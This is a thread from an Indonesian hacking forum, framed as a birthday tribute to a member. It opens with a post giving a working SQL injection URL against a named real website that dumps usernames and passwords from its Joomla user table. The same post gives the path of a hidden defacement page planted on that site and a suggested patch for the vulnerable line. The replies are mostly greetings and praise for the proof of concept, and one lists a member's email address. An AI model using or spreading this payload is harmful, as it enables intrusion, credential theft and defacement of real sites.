[sqli+hidden deface+patch]Happy birthday revres tanur

[syahrini]

sqli :

Code:

http://www.acma.sg/net/index.php?option=com_content&view=category&layout=blog&id=31&Itemid=50%20union%20select%201,concat_ws%280x3a,username,password%29,3,4,5%20from%20jos_users/*

hidden deface :

Quote:http://www.acma.sg/net/.ketek.php

bug => /component/com_content/content.php Line: 1223

Quote:. "\n WHERE id = ".intval($sectionid)

patch =>

Quote:settype($sectionid,'integer')
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$sectionid = intval(mosGetParam( $_REQUEST, 'sectionid', 0 ) );
$pop = intval( mosGetParam( $_REQUEST, 'pop', 0 ) );

$limit = intval( mosGetParam( $_REQUEST, 'limit', '' ) );
$order = mosGetParam( $_REQUEST, 'order', '' );
$limitstart = intval( mosGetParam( $_REQUEST, 'limitstart', 0 ) );

NOTE :
lagunya nyusul maaf banget laptop akyu hilang ciyn aduh nggak sesuatu banget deh jadinya
tapi akyu seneng say kamyu lagi ultah hari ini semoga kamyu kembali lagi yah ke devilzc0de dan semoga makin dewasa makin pinter.....

[mariachi]

alhamdulilah yah... sesuatu banget POC nya. ijin mempelajari kaka

[the_legend]

just visited by whitecoin feat syahrini.....

met ultah om ketek....

[chaer.newbie]

wkkwkwkw.. afgan

[KotoM]

wakawkkwakkaw om ketek ultah
HBD ya om


btw exploitnya

[wendyaja]

keren

[bunga matahari]

Happy Birthday Mataharry Ku... Kembalilah menjadi terang, bukan untuk sang Bunga, melainkan untuk dunia..

Tapi itu bukan perbuatan aku.. si whitecoin tuh sma si syahrini (udah di patch om ketek plus dikasih POC nya juga buat belajar)..

Aku jangan dimarahin ya sayang..

[Bunga.Mataharry]

Kawan2 DC diharapkan melihat posting ini sebagai proses pembelajaran hacking computer kalian... ada POC plus sudah dipatch juga..

Nih pasti hacker dewanya galau nih pake bawa2 whitecoin sma syahrini... mereka kan cuma designer sama penyanyi bukan hacker...

Anyway... HAPPY BIRTHDAY om KeTEk.... DC Loves you so much!!!

Ditunggu manuver hacking setelah terbenam panjangnya Uda Harry..

(makasih papa... we love you so much)

[nuxbie_cyber]

Happy Birthday // ketek90@gmail.com
Wish you all the best...

[Rev Aris]

hbd om ketek

ane dulu